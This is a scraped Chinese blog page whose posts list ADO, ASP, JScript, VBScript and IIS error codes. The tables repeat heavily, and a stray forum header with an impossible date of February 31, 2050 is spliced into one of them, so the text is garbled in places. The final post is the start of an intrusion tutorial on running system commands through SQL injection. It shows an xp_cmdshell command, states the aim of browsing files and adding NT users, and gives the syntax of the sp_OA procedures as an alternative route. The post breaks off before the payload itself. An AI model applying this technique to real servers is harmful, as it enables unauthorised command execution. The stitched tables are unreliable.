adErrObjectInCollection 3367 0x800A0D27 无法追加,对象已经在集合中。
adErrObjectNotSet 3420 0x800A0D5C 应用程序引用的对象不再指向有效的对象。
adErrDataConversion 3421 0x800A0D5D 应用程序使用了不符合对当前操作的值类型。
adErrObjectClosed 3704 0x800A0E78 如果对象关闭,则不允许应用程序请求的操作。
adErrObjectOpen 3705 0x800A0E79 如果对象打开,则不允许应用程序请求的操作。
adErrProviderNotFound 3706 0x800A0E7A ADO 找不到指定的提供者。
adErrBoundToCommand 3707 0x800A0E7B 应用程序无法用 Command 对象将 Recordset
对象的 ActiveConnection 属性更改为它的来源数据。
adErrInvalidParamInfo 3708 0x800A0E7C 应用程序错误地定义了 Parameter 对象。
adErrInvalidConnection 3709 0x800A0E7D 应用程序通过引用关闭或无效的
Connection 对象来请求对对象的操作。
 
*****************************************************************************
ASP错误代码说明
错误代码 错误消息 说明
ASP0100 Out of memory 内存不足(不能分配要求的内存
ASP0101 Unexpected error 意外错误
ASP0102 Expecting string input 缺少字符串输入
ASP0103 Expecting numeric input 缺少数字输入
ASP0104 Opration not allowed 操作不允许
ASP0105 Index out of ange 索引超出范围(一个数组索引超届)
ASP0106 Type Mismatch 类型不匹配(遇到的数据类型不能被处理)
ASP0107 Stack Overflow 栈溢出(正在处理的数据超出了允许的范围)
ASP0115 Unexpected error 意外错误(外部对象出现可捕获的exception_name错误,脚
本不能继续运行)
ASP0177 Server.CreateObject Failed 服务器创建对象失败(无效的progid)
ASP0190 Unexpected error 意外错误(当释放外部对象,产生可捕获的错误)
ASP0191 Unexpected error 意外错误(在外部对象的OnStartPage方法中产生可捕获的错
误)
ASP0192 Unexpected error 意外错误(在外部对象的OnEndPage方法中产生可捕获的错误
发信人: longsi——现代速龙(时速200公里),信区:X-COM基地
ASP0177 Server.CreateObject Failed 服务器创建对象失败(无效的progid)
发信站: 侏罗纪公园(2050年2月31日18:30:00 星期六),站内信件 获的错误)
ASP0191 Unexpected error 意外错误(在外部对象的OnStartPage方法中产生可捕获的错
误)
ASP0192 Unexpected error 意外错误(在外部对象的OnEndPage方法中产生可捕获的错误
)
ASP0193 OnStartPage Failed 在外部对象的OnStartPage方法中产生错误
ASP0194 OnEndPage Failed 在外部对象的OnEndPage方法中产生错误
ASP0240 Script Engine Exception 脚本引擎从object_name对象中抛出exception_anme
异常
ASP0241 CreateObject Exception object_name 对象的CreatObject方法引起了excepti
on_name异常
ASP0242 Query OnStartPage nterface 查询对象Object_name的OnsException

**********************************************
JScript 运行时错误
JScript 运行时错误是指当 JScript 脚本试图执行一个系统不能运行的动作时导致的错
误。当正在运行脚本、计算变量表达式、或者正在动态分配内存时出现JScript 运行时
错误时。
以下是76个运行时错误
 
错误号 描述
十进制 十六进制 说明
5 800A0005 非法过程调用或参数
6 800A0006 溢出
7 800A0007 内存不足
9 800A0009 下标超界
10 800A000A 此数组被固定或临时锁定
11 800A000B 零除错误
13 800A000D 类型失配
14 800A000E 串空间不足
17 800A0011 不能执行所请求的操作
28 800A001C 栈空间不足
35 800A0023 子过程或函数未找到
48 800A0030 装载DLL出错
51 800A0033 内部出错
52 800A0034 坏文件名或数
53 800A0035 文件未找到
54 800A0036 坏文件模式
55 800A0037 文件已经打开
57 800A0039 设备I/O错误
58 800A003A 文件已经存在
61 800A003D 磁盘空间已满
62 800A003E 输入超出文件尾
67 800A0043 文件太多
68 800A0044 设备不可用
70 800A0046 权限禁用
71 800A0047 磁盘未准备好
74 800A004A 不能用不同的驱动重命名
75 800A004B 路径/文件访问错误
76 800A004C 路径未找到
91 800A005B 对象变量或With块变量未设置
92 800A005C For循环未初始化
94 800A005E Null使用无效
322 800A0042 不能建立所需的临时文件
424 800A01A8 需要对象
429 800A01A9 Automation服务器不能建立对象
430 800A01AE 类不支持Automation
432 800A01B0 在Automation操作中找不到文件名或类名
438 800A01B6 对象不支持这个属性或方法
440 800A01B8 Automation错误
445 800A01BD 对象不支持这个动作
446 800A01BE 对象不支持指定的参数
447 800A01BF 对象不支持当前区域设置
448 800A01C0 指定的参数未找到
449 800A01C1 参数不可选
450 800A01C2 错误的参数数目或非法属性分配
451 800A01C3 对象不是一个集合
453 800A01C5 指定的dll函数未找到
458 800A01CA 变量使用了一个Jscript不支持的Automation类型
462 800A01CE 远程服务器机器不存在或不可用
501 800A01F5 不能分配给变量
502 800A01F6 对象对于脚本不安全
503 800A01F7 对象对于初始化不安全
504 800A01F8 对象对建立不安全
5000 800A1388 不能分配给“this”
5001 800A1389 需要 Number 类型
5002 800A138A 需要 Function 对象
5003 800A138B 不能给函数返回值赋值
5004 800A138C 不能索引对象
5005 800A138D 需要 String
5006 800A138E 需要 Date 对象
5007 800A138F 需要 Object 类型
5008 800A1390 非法赋值
5009 800A1391 未定义标识符
5010 800A1392 需要 Boolean
5011 800A1393 不能执行来自一个自由脚本的代码
5012 800A1394 需要对象的成员
5013 800A1395 需要 VBArray
5014 800A1396 需要 JScript 对象
5015 800A1397 需要 Enumerator 对象
5016 800A1398 需要正则表达式对象
5017 800A1399 正则表达式语法错误
5018 800A139A 未预期的限定符
5019 800A139B 正则表达式中缺少“]”
5020 800A139C 正则表达式中缺少“)”
5021 800A139D 字符集范围无效
5022 800A139E 异常抛出,但无法抓住
5023 800A139F 函数没有合法的 Prototype (原型)对象
5024 800A13A0 待解码的 URI 包含有非法字符
5025 800A13A1 待解码的 URI 编码非法
5026 800A13A2 小数部分的位数越界
5027 800A13A3 精度越界
5028 800A13A4 需要 Array 或 arguments 对象
5029 800A13A5 数组长度必须为一有限正整数
5030 800A13A6 必须赋给数组长度一个有限正数

*******************************************************
jscript错误代码及相应解释大全
JScript 语法错误
JScript 语法错误是指当 JScript 语句违反了 JScript 脚本语言的一条或多条语法规
则时导致的错误。JScript 语法错误发生在程序编译阶段,在开始运行该程序之前。(
错误发生在开发过程中),以下是32个语法错误
 
错误号 描述
十进制 十六进制 说明
1001 800A03E9 内存不足
1002 800A03EA 语法错误
1003 800A03EB 需要“:”
1004 800A03EC 需要“;”
1005 800A03ED 需要“(”
1006 800A03EE 需要“)”
1007 800A03EF 需要“]”
1008 800A03F0 需要“{”
1009 800A03F1 需要“}”
1010 800A03F2 需要标识符
1011 800A03F3 需要“=”
1012 800A03F4 需要“/”
1013 800A03F5 无效数
1014 800A03F6 非法字符
1015 800A03F7 字符串常数未结束
1016 800A03F8 注释未结束
1018 800A03FA 函数外有 ’return’ 语句
1019 800A03FB 在循环外不能有“break”
1020 800A03FC 在循环外不能有“continue”
1023 800A03FF 需要十六进制数
1024 800A0400 需要“while”
1025 800A0401 标签定义重复
1026 800A0402 未找到标签
1027 800A0403 一条 “switch” 语句中只能有一个 “default”
1028 800A0404 需要标识符、字符串或者数字
1029 800A0405 需要“@end
1030 800A0406 条件编译已关闭
1031 800A0407 需要常数
1032 800A0408 需要“@”
1033 800A0409 需要“catch”
1034 800A040A 需要“var”
1035 800A040B “Throw”的后面必须跟有一个表达式,且在同一源代码行上

************************************************************************
VBScript 运行时错误
如果 VBScript 脚本执行系统无法实施的操作,则会产生 VBScript 运行时错误。只有
在运行脚本、为变量表达式赋值或
分配内存时,才会产生 VBScript 运行时错误。 以下是65个运行时错误:
错误编号 描述
十进制 十六进制 说明
5 800A0005 无效过程调用或参数
6 800A0006 溢出
7 800A0007 内存不足
9 800A0009 下标越界
10 800A000A 该数组为定长的或临时被锁定
11 800A000B 被零除
13 800A000D 类型不匹配
14 800A000E 字符串空间溢出
17 800A0011 无法执行请求的操作
28 800A001C 堆栈溢出
35 800A0023 未定义 Sub 或 Function
48 800A0030 加载 DLL 错误
51 800A0033 内部错误
52 800A0034 坏文件名或数
53 800A0035 文件未找到
54 800A0036 坏文件模式
55 800A0037 文件已经打开
57 800A0039 设备I/O错误
58 800A003A 文件已经存在
61 800A003D 磁盘空间已满
62 800A003E 输入超出文件尾
67 800A0043 文件太多
68 800A0044 设备不可用
70 800A0046 权限禁用
71 800A0047 磁盘未准备好
74 800A004A 不能用不同的驱动器重新命名
75 800A004B 路径/文件访问错误
76 800A004C 路径未找到
91 800A005B 未设置对象变量
92 800A005C For 循环未初始化
94 800A005E 非法使用 Null
322 800A0142 不能建立所需临时文件
424 800A01A8 需要对象
429 800A01AD ActiveX 部件无法创建对象
430 800A01AE 类不支持自动化
432 800A01B0 在自动化操作中未找到文件名或类名
438 800A01B6 对象不支持该属性或方法
440 800A01B8 Automation错误
445 800A01BD 对象不支持此操作
446 800A01BE 对象不支持指定的参数
447 800A01BF 对象不支持当前的区域设置
448 800A01C0 未找到命名参数
449 800A01C1 参数不可选
450 800A01C2 错误的参数个数或无效的参数属性值
451 800A01C3 对象不是一个集合
453 800A01C5 指定的dll函数未找到
455 800A01C7 代码源锁错误
457 800A01C9 这个键已经是本集合的一个元素关联
458 800A01CA 变量使用了一个 VBScript 中不支持的自动化(Automation)类型
462 800A01CE 远程服务器不存在或不能访问
481 800A01E1 无效图片
500 800A01F4 变量未定义
501 800A01F5 违法的分配
502 800A01F6 脚本对象不安全
503 800A01F7 对象不能安全初始化
504 800A01F8 对象不能安全创建
505 800A01F9 无效的或不合格的引用
506 800A01FA 类未被定义
507 800A01FB 发生异常
5016 800A1398 需要正则表达式对象
5017 800A1399 正则表达式中的语法错误
5018 800A139A 错误的数量词
5019 800A139B 在正则表达式中需要 ']'
5020 800A139C 在正则表达式中需要 ')'
5021 800A139D 字符集越界
32811 800A802B 元素未找到

**************************************************************
vbscript错误代码及对应解释大全
VBScript 语法错误
如果 VBScript 语句结构违反了一个或多个 VBScript 脚本语言语法规则,就会产生
VBScript 语法错误。
错误通常在执行程序前,编译程序时产生。 以下是53个语法错误:
错误编号 描述
十进制 十六进制 说明
1001 800A03E9 内存不足
1002 800A03EA 语法错误
1003 800A03EB 缺少“:”
1005 800A03ED 需要 '('
1006 800A03EE 需要 ')'
1007 800A03EF 缺少“]”
1010 800A03F2 需要标识符
1011 800A03F3 需要 '='
1012 800A03F4 需要 'If'
1013 800A03F5 需要 'To'
1014 800A03F6 需要 'End'
1015 800A03F7 需要 'Function'
1016 800A03F8 需要 'Sub'
1017 800A03F9 需要 'Then'
1018 800A03FA 需要 'Wend'
1019 800A03FB 需要 'Loop'
1020 800A03FC 需要 'Next'
1021 800A03FD 需要 'Case'
1022 800A03FE 需要 'Select'
1023 800A03FF 需要表达式
1024 800A0400 需要语句
1025 800A0401 需要语句的结束
1026 800A0402 需要整数常数
1027 800A0403 需要 'While' 或 'Until'
1028 800A0404 需要 'While,'、 'Until,' 或语句未结束
1029 800A0405 需要 'With'
1030 800A0406 标识符太长
1031 800A0407 无效的数
1032 800A0408 无效的字符
1033 800A0409 未结束的串常量
1034 800A040A 未结束的注释
1037 800A040D 无效使用关键字 'Me'
1038 800A040E 'loop' 没有 'do'
1039 800A040F 无效 'exit' 语句
1040 800A0410 无效 'for' 循环控制变量
1041 800A0411 名称重定义
1042 800A0412 必须为行的第一个语句
1043 800A0413 不能赋给非Byval参数
1044 800A0414 调用 Sub 时不能使用圆括号
1045 800A0415 需要文字常数
1046 800A0416 需要 'In'
1047 800A0417 需要 'Class'
1048 800A0418 必须在一个类的内部定义
1049 800A0419 在属性声明中需要 Let , Set 或 Get
1050 800A041A 需要 'Property'
1051 800A041B 参数数目必须与属性说明一致
1052 800A041C 在类中不能有多个缺省的属性/方法
1053 800A041D 类初始化或终止不能带参数
1054 800A041E Property Let 或 Set 至少应该有一个参数
1055 800A041F 不需要的 'Next'
1056 800A0420 只能在 ‘Property’ 或 ’Function’ 或 ’Sub’ 上指定 ’Default ’
1057 800A0421 说明 'Default' 必须同时说明 'Public' "
1058 800A0422 只能在 Property Get 中指定 'Default'

- 作者: 落雨听风 2006年12月1日, 星期五 21:07  回复(0) |  引用(0) 加入博采

IIS 错误代码大汇总
        0161 数据类型错误。将 Variant 转换为 String 变量失败。

   0162 不能修改 Cookie。不能修改 Cookie ASPSessionID’。它是一个保留的 Cookie 名。          0163 逗号用法无效。日志条目内不可使用逗号。请选择另一个分隔符。

  0164 TimeOut 值无效。指定的 TimeOut 值无效。

    0165 SessionID 错误。无法创建 SessionID 字符串。

  0166 对象未初始化。试图访问未初始化的对象。

  0167 会话初始化错误。初始化 Session 对象时发生错误。

  0168 禁止的对象使用。Session 对象中不能保存内部对象。

  0169 缺少对象信息。Session 对象中不能保存信息不全的对象。需要对象的线程模型信息。

  0170 删除会话错误。无法正确删除 Session

  0171 路径丢失。必须为 MapPath 方法指定 Path 参数。

  0172 路径无效。MapPath 方法的路径必须是虚拟路径。使用了一个实际的路径。

  0173 路径字符无效。MapPath 方法的 Path 参数中指定了一个无效字符。

  0174 多个路径字符无效。MapPath 方法的 Path 参数中指定了无效的 / \\’。

  0175 不允许的路径字符。MapPath 方法的 Path 参数中不允许使用 .. 字符。

  0176 未找到路径。MapPath 方法的 Path 参数与已知路径不符。

  0177 Server.CreateObject 失败。%s

        0135 循环包含。文件 | 包含它本身(可能是非直接地包含)。请检查包含文件中的其他 Include 语句。

  0136 对象实例名无效。对象实例 | 试图使用一个保留名称。这个名称被 Active Server Pages 的内部对象使用。

  0137 全局脚本无效。脚本块必须是允许的 Global.asa 过程之一。Global.asa 文件中不允许在 内使用脚本指令。允许的过程名称是 Application_OnStartApplication_OnEndSession_OnStart Session_OnEnd

   0138 脚本块嵌套。脚本块不可放在另一个脚本块内。

  0139 嵌套对象。对象标记不能放在另一个对象标记内。

  0140 页命令次序有误。@ 命令必须是 Active Server Page 中的第一个命令。

  0141 页命令重复。@ 命令只可以在 Active Server Page 中使用一次。

  0142 线程令牌错误。无法打开线程令牌。

   0143 应用程序名无效。未找到有效的应用程序名称。

  0144 初始化错误。初始化时页级别的对象列表失败。

  0145 新应用程序失败。无法添加新的应用程序。

  0146 新会话失败。无法添加新的会话。

  0147 500 服务器错误。

  0148 服务器太忙。

  0149 正在重新启动应用程序。重启动应用程序期间无法处理请求。

  0150 应用程序目录错误。无法打开应用程序目录。

  0151 更改通知错误。无法创建更改通知事件。

  0152 安全错误。处理用户安全凭据时发生错误。

  0153 线程错误。新线程请求已失败。

  0154 HTTP 头写入错误。HTTP 头无法写入客户端浏览器。

  0155 页内容写入错误。页内容无法写入客户端浏览器。

  0156 头错误。HTTP 头已经写入到客户端浏览器。任何 HTTP 头必须在写入页内容之前修改。

  0157 启用缓冲。缓冲启用后不能关闭。

  0158 URL 丢失。URL 是必需的。

   0159 缓冲已关闭。缓冲必须启用。

  0160 日志记录错误。将条目写入日志失败。

  0161 数据类型错误。将 Variant 转换为 String 变量失败。

  0162 不能修改 Cookie。不能修改 Cookie ASPSessionID’。它是一个保留的 Cookie 名。

  0163 逗号用法无效。日志条目内不可使用逗号。请选择另一个分隔符。

  0164 TimeOut 值无效。指定的 TimeOut 值无效。

  0165 SessionID 错误。无法创建 SessionID 字符串。

  0166 对象未初始化。试图访问未初始化的对象。

  0167 会话初始化错误。初始化 Session 对象时发生错误。

  0168 禁止的对象使用。Session 对象中不能保存内部对象。

  0169 缺少对象信息。Session 对象中不能保存信息不全的对象。需要对象的线程模型信息。

  0170 删除会话错误。无法正确删除 Session

  0171 路径丢失。必须为 MapPath 方法指定 Path 参数。

  0172 路径无效。MapPath 方法的路径必须是虚拟路径。使用了一个实际的路径。

  0173 路径字符无效。MapPath 方法的 Path 参数中指定了一个无效字符。

  0174 多个路径字符无效。MapPath 方法的 Path 参数中指定了无效的 / \\’。

  0175 不允许的路径字符。MapPath 方法的 Path 参数中不允许使用 .. 字符。

  0176 未找到路径。MapPath 方法的 Path 参数与已知路径不符。

  0177 Server.CreateObject 失败。%s

        0135 循环包含。文件 | 包含它本身(可能是非直接地包含)。请检查包含文件中的其他 Include 语句。

  0136 对象实例名无效。对象实例 | 试图使用一个保留名称。这个名称被 Active Server Pages 的内部对象使用。

  0137 全局脚本无效。脚本块必须是允许的 Global.asa 过程之一。Global.asa 文件中不允许在 内使用脚本指令。允许的过程名称是 Application_OnStartApplication_OnEndSession_OnStart Session_OnEnd

  0138 脚本块嵌套。脚本块不可放在另一个脚本块内。

  0139 嵌套对象。对象标记不能放在另一个对象标记内。

  0140 页命令次序有误。@ 命令必须是 Active Server Page 中的第一个命令。

  0141 页命令重复。@ 命令只可以在 Active Server Page 中使用一次。

  0142 线程令牌错误。无法打开线程令牌。

  0143 应用程序名无效。未找到有效的应用程序名称。

  0144 初始化错误。初始化时页级别的对象列表失败。

  0145 新应用程序失败。无法添加新的应用程序。

  0146 新会话失败。无法添加新的会话。

  0147 500 服务器错误。

  0148 服务器太忙。

  0149 正在重新启动应用程序。重启动应用程序期间无法处理请求。

  0150 应用程序目录错误。无法打开应用程序目录。

  0151 更改通知错误。无法创建更改通知事件。

  0152 安全错误。处理用户安全凭据时发生错误。

  0153 线程错误。新线程请求已失败。

  0154 HTTP 头写入错误。HTTP 头无法写入客户端浏览器。

  0155 页内容写入错误。页内容无法写入客户端浏览器。

  0156 头错误。HTTP 头已经写入到客户端浏览器。任何 HTTP 头必须在写入页内容之前修改。

  0157 启用缓冲。缓冲启用后不能关闭。

  0158 URL 丢失。URL 是必需的。

  0159 缓冲已关闭。缓冲必须启用。

  0160 日志记录错误。将条目写入日志失败。

  0161 数据类型错误。将 Variant 转换为 String 变量失败。

  0162 不能修改 Cookie。不能修改 Cookie ASPSessionID’。它是一个保留的 Cookie 名。

  0163 逗号用法无效。日志条目内不可使用逗号。请选择另一个分隔符。

  0164 TimeOut 值无效。指定的 TimeOut 值无效。

  0165 SessionID 错误。无法创建 SessionID 字符串。

  0166 对象未初始化。试图访问未初始化的对象。

  0167 会话初始化错误。初始化 Session 对象时发生错误。

  0168 禁止的对象使用。Session 对象中不能保存内部对象。

  0169 缺少对象信息。Session 对象中不能保存信息不全的对象。需要对象的线程模型信息。

  0170 删除会话错误。无法正确删除 Session

  0171 路径丢失。必须为 MapPath 方法指定 Path 参数。

  0172 路径无效。MapPath 方法的路径必须是虚拟路径。使用了一个实际的路径。

  0173 路径字符无效。MapPath 方法的 Path 参数中指定了一个无效字符。

  0174 多个路径字符无效。MapPath 方法的 Path 参数中指定了无效的 / \\’。

  0175 不允许的路径字符。MapPath 方法的 Path 参数中不允许使用 .. 字符。

  0176 未找到路径。MapPath 方法的 Path 参数与已知路径不符。

  0177 Server.CreateObject 失败。%s 

- 作者: 落雨听风 2006年12月1日, 星期五 21:05  回复(0) |  引用(1) 加入博采

IIS 错误代码大汇总2
        0138 脚本块嵌套。脚本块不可放在另一个脚本块内。

  0139 嵌套对象。对象标记不能放在另一个对象标记内。

  0140 页命令次序有误。@ 命令必须是 Active Server Page 中的第一个命令。

  0141 页命令重复。@ 命令只可以在 Active Server Page 中使用一次。

  0142 线程令牌错误。无法打开线程令牌。

  0143 应用程序名无效。未找到有效的应用程序名称。

  0144 初始化错误。初始化时页级别的对象列表失败。

  0145 新应用程序失败。无法添加新的应用程序。

  0146 新会话失败。无法添加新的会话。

  0147 500 服务器错误。

  0148 服务器太忙。

  0149 正在重新启动应用程序。重启动应用程序期间无法处理请求。

  0150 应用程序目录错误。无法打开应用程序目录。

  0151 更改通知错误。无法创建更改通知事件。

  0152 安全错误。处理用户安全凭据时发生错误。

  0153 线程错误。新线程请求已失败。

  0154 HTTP 头写入错误。HTTP 头无法写入客户端浏览器。

  0155 页内容写入错误。页内容无法写入客户端浏览器。

  0156 头错误。HTTP 头已经写入到客户端浏览器。任何 HTTP 头必须在写入页内容之前修改。

  0157 启用缓冲。缓冲启用后不能关闭。

  0158 URL 丢失。URL 是必需的。

  0159 缓冲已关闭。缓冲必须启用。

  0160 日志记录错误。将条目写入日志失败。

  0161 数据类型错误。将 Variant 转换为 String 变量失败。

  0162 不能修改 Cookie。不能修改 Cookie ASPSessionID’。它是一个保留的 Cookie 名。

  0163 逗号用法无效。日志条目内不可使用逗号。请选择另一个分隔符。

  0164 TimeOut 值无效。指定的 TimeOut 值无效。

  0165 SessionID 错误。无法创建 SessionID 字符串。

  0166 对象未初始化。试图访问未初始化的对象。

  0167 会话初始化错误。初始化 Session 对象时发生错误。

  0168 禁止的对象使用。Session 对象中不能保存内部对象。

  0169 缺少对象信息。Session 对象中不能保存信息不全的对象。需要对象的线程模型信息。

  0170 删除会话错误。无法正确删除 Session

  0171 路径丢失。必须为 MapPath 方法指定 Path 参数。

   0172 路径无效。MapPath 方法的路径必须是虚拟路径。使用了一个实际的路径。

  0173 路径字符无效。MapPath 方法的 Path 参数中指定了一个无效字符。

  0174 多个路径字符无效。MapPath 方法的 Path 参数中指定了无效的 / \\’。

  0175 不允许的路径字符。MapPath 方法的 Path 参数中不允许使用 .. 字符。

  0176 未找到路径。MapPath 方法的 Path 参数与已知路径不符。

  0177 Server.CreateObject 失败。%s

        0135 循环包含。文件 | 包含它本身(可能是非直接地包含)。请检查包含文件中的其他 Include 语句。

   0136 对象实例名无效。对象实例 | 试图使用一个保留名称。这个名称被 Active Server Pages 的内部对象使用。

  0137 全局脚本无效。脚本块必须是允许的 Global.asa 过程之一。Global.asa 文件中不允许在 内使用脚本指令。允许的过程名称是 Application_OnStartApplication_OnEndSession_OnStart Session_OnEnd

  0138 脚本块嵌套。脚本块不可放在另一个脚本块内。

  0139 嵌套对象。对象标记不能放在另一个对象标记内。

  0140 页命令次序有误。@ 命令必须是 Active Server Page 中的第一个命令。

  0141 页命令重复。@ 命令只可以在 Active Server Page 中使用一次。

  0142 线程令牌错误。无法打开线程令牌。

  0143 应用程序名无效。未找到有效的应用程序名称。

  0144 初始化错误。初始化时页级别的对象列表失败。

  0145 新应用程序失败。无法添加新的应用程序。

  0146 新会话失败。无法添加新的会话。

   0147 500 服务器错误。

  0148 服务器太忙。

  0149 正在重新启动应用程序。重启动应用程序期间无法处理请求。

  0150 应用程序目录错误。无法打开应用程序目录。

  0151 更改通知错误。无法创建更改通知事件。

  0152 安全错误。处理用户安全凭据时发生错误。

  0153 线程错误。新线程请求已失败。

  0154 HTTP 头写入错误。HTTP 头无法写入客户端浏览器。

  0155 页内容写入错误。页内容无法写入客户端浏览器。

  0156 头错误。HTTP 头已经写入到客户端浏览器。任何 HTTP 头必须在写入页内容之前修改。

  0157 启用缓冲。缓冲启用后不能关闭。

  0158 URL 丢失。URL 是必需的。

  0159 缓冲已关闭。缓冲必须启用。

  0160 日志记录错误。将条目写入日志失败。

  

- 作者: 落雨听风 2006年12月1日, 星期五 20:56  回复(0) |  引用(1) 加入博采

IIS 错误代码大汇总

        400 无法解析此请求。

   401.1 未经授权:访问由于凭据无效被拒绝。

   401.2 未经授权: 访问由于服务器配置倾向使用替代身份验证方法而被拒绝。

  401.3 未经授权:访问由于 ACL 对所请求资源的设置被拒绝。

  401.4 未经授权:Web 服务器上安装的筛选器授权失败。

  401.5 未经授权:ISAPI/CGI 应用程序授权失败。

  401.7 未经授权:由于 Web 服务器上的 URL 授权策略而拒绝访问。

  403 禁止访问:访问被拒绝。

  403.1 禁止访问:执行访问被拒绝。

  403.2 禁止访问:读取访问被拒绝。

  403.3 禁止访问:写入访问被拒绝。

  403.4 禁止访问:需要使用 SSL 查看该资源。

  403.5 禁止访问:需要使用 SSL 128 查看该资源。

  403.6 禁止访问:客户端的 IP 地址被拒绝。

  403.7 禁止访问:需要 SSL 客户端证书。

  403.8 禁止访问:客户端的 DNS 名称被拒绝。

  403.9 禁止访问:太多客户端试图连接到 Web 服务器。

  403.10 禁止访问:Web 服务器配置为拒绝执行访问。

  403.11 禁止访问:密码已更改。

  403.12 禁止访问:服务器证书映射器拒绝了客户端证书访问。

  403.13 禁止访问:客户端证书已在 Web 服务器上吊销。

  403.14 禁止访问: Web 服务器上已拒绝目录列表。

  403.15 禁止访问:Web 服务器已超过客户端访问许可证限制。

  403.16 禁止访问:客户端证书格式错误或未被 Web 服务器信任。

  403.17 禁止访问:客户端证书已经到期或者尚未生效。

  403.18 禁止访问:无法在当前应用程序池中执行请求的 URL

  403.19 禁止访问:无法在该应用程序池中为客户端执行 CGI

  403.20 禁止访问:Passport 登录失败。

  404 找不到文件或目录。

  404.1 文件或目录未找到:网站无法在所请求的端口访问。

  注意 404.1 错误只会出现在具有多个 IP 地址的计算机上。如果在特定 IP 地址/端口组合上收到客户端请求,而且没有将 IP 地址配置为在该特定的端口上侦听,则 IIS 返回 404.1 HTTP 错误。例如,如果一台计算机有两个 IP 地址,而只将其中一个 IP 地址配置为在端口 80 上侦听,则另一个 IP 地址从端口 80 收到的任何请求都将导致 IIS 返回 404.1 错误。只应在此服务级别设置该错误,因为只有当服务器上使用多个 IP 地址时才会将它返回给客户端。 

        404.2 文件或目录无法找到:锁定策略禁止该请求。

  404.3 文件或目录无法找到:MIME 映射策略禁止该请求。

  405 用于访问该页的 HTTP 动作未被许可。

  406 客户端浏览器不接受所请求页面的 MIME 类型。

  407 Web 服务器需要初始的代理验证。

  410 文件已删除。

  412 客户端设置的前提条件在 Web 服务器上评估时失败。

  414 请求 URL 太大,因此在 Web 服务器上不接受该 URL

  500 服务器内部错误。

  500.11 服务器错误:Web 服务器上的应用程序正在关闭。

  500.12 服务器错误:Web 服务器上的应用程序正在重新启动。

  500.13 服务器错误:Web 服务器太忙。

  500.14 服务器错误:服务器上的无效应用程序配置。

  500.15 服务器错误:不允许直接请求 GLOBAL.ASA

  500.16 服务器错误:UNC 授权凭据不正确。

  500.17 服务器错误:URL 授权存储无法找到。

  500.18 服务器错误:URL 授权存储无法打开。

  500.19 服务器错误:该文件的数据在配置数据库中配置不正确。

  500.20 服务器错误:URL 授权域无法找到。

  500 100 内部服务器错误:ASP 错误。

  501 标题值指定的配置没有执行。

  502 Web 服务器作为网关或代理服务器时收到无效的响应。 

事件 ID 描述

  0100 内存不足。无法分配所需的内存。

  0101 意外错误。函数返回 |

  0102 要求字符串输入。函数需要字符串输入。

  0103 要求数字输入。函数需要数字输入。

  0104 不允许操作。

  0105 索引超出范围。数组索引超出范围。

  0106 类型不匹配。遇到未处理的数据类型。

  0107 数据大小太大。请求中发送的数据大小超出允许的限制。

  0108 创建对象失败。创建对象 '%s' 时出错。

  0109 成员未找到。

  0110 未知的名称。

  0111 未知的界面。

  0112 参数丢失。

  0113 脚本超时。超过了脚本运行的最长时间。可以通过为 Server.ScriptTimeout 属性指定一个新值或在 IIS 管理工具中修改值来更改此限制。

  0114 对象不可用于自由线程。应用程序对象仅接受自由线程对象;而对象 '%s' 不可用于自由线程。

  0115 意外错误。外部对象中发生一个可捕捉的错误 (%X)。脚本无法继续运行。

  0116 脚本分隔符结束标记丢失。脚本块缺少脚本结束标记 (%>)

  0117 脚本结束标记丢失。脚本块缺少脚本结束标记 () 或标记结束符号 (>)

  0118 对象的结束标记丢失。对象块缺少对象结束标记 () 或标记结束符号 (>)

  0119 Classid Progid 属性丢失。对象实例 '|' 在对象标记中需要有效的 Classid Progid

  0120 Runat 属性无效。脚本标记或对象标记的 Runat 属性只能有 'Server' 值。

  0121 对象标记中的范围无效。对象实例 '|' 的作用范围不能是 Application Session。要创建有 Session Application 作用范围的对象实例,请将在 Global.asa 文件中加入 Object 标记。

  0122 对象标记中的范围无效。对象实例 '|' 必须有 Application Session 作用范围。这将应用于所有在 Global.asa 文件内创建的对象。

  0123 缺少 Id 属性。缺少 Object 标记所需的 Id 属性。

  0124 Language 属性丢失。缺少 Object 标记所需的 Language 属性。

  0125 属性结束标记丢失。'|' 属性的值没有结束分隔符。

  0126 未找到 Include 文件。未找到 Include 文件 '|'

  0127 HTML 注释的结束标记丢失。HTML 注释或在服务器端的包含文件缺少结束标记 (-->)

  0128 File Virtual 属性丢失。Include 文件名必须用 File Virtual 属性指定。

  0129 未知的脚本语言。服务器上找不到脚本语言 '|'

  0130 File 属性无效。File 属性 '|' 不能以斜杠或反斜杠开始。

  0131 不允许的父路径。Include 文件 '|' 不能包含 '..' 来表示父目录。

  0132 编译错误。无法处理 Active Server Page '|'

  0133 ClassID 属性无效。对象标记有一个无效的 ClassID '|'

  0134 ProgID 属性无效。对象有一个无效的 ProgID '|'

        0135 循环包含。文件 | 包含它本身(可能是非直接地包含)。请检查包含文件中的其他 Include 语句。

  0136 对象实例名无效。对象实例 | 试图使用一个保留名称。这个名称被 Active Server Pages 的内部对象使用。

  0137 全局脚本无效。脚本块必须是允许的 Global.asa 过程之一。Global.asa 文件中不允许在 内使用脚本指令。允许的过程名称是 Application_OnStartApplication_OnEndSession_OnStart Session_OnEnd

  

- 作者: 落雨听风 2006年12月1日, 星期五 20:52  回复(0) |  引用(1) 加入博采

不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

EXEC master.dbo.xp_cmdshell 'dir c:\'

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft® SQL Server™ 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, | clsid,
    objecttoken OUTPUT
    [ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
    propertyname
    [, propertyvalue OUTPUT]
    [, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
    methodname
    [, returnvalue OUTPUT]
    [ , [ @parametername = ] parameter [ OUTPUT ]
    [...n]]

思路:

